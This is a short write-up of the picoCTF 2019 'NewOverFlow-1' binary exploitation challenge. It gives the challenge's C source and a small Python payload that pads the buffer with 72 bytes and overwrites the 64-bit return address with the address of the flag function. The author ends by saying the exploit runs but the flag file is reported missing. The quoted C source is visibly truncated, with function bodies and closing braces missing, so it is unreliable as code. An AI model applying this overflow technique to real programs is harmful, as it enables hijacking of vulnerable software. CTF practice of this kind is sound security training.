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picoCTF 2019 - NewOverFlow-1 writeup


Lets try moving to 64-bit, but don’t worry we’ll start easy. Overflow the buffer and change the return address to the flag function in this program

Category: Binary Exploitation

Points: 200

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");


void vuln(){
  char buf[BUFFSIZE];

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  return 0;


This is similar to the OverFlow 1 challenge solved previously. We need to modify the return address to point to the flag function. The main different is that this code uses 64-bit instead of 32-bit. Meaning the registers are 8 bytes instead of 4.



My python code:

import struct

padding = "A" * 72
rip = struct.pack("Q", 0x400767)    # addr of flag() function

print padding + rip

The exploit successfully changes the return address to the start of the flag function. However, instead of printing the flag, I get the following message:

'flag.txt' missing in the current directory!

This is strange because flag.txt does exist in the directory. Idk if this is a problem with the challenge. If anyone has a fix please let me know!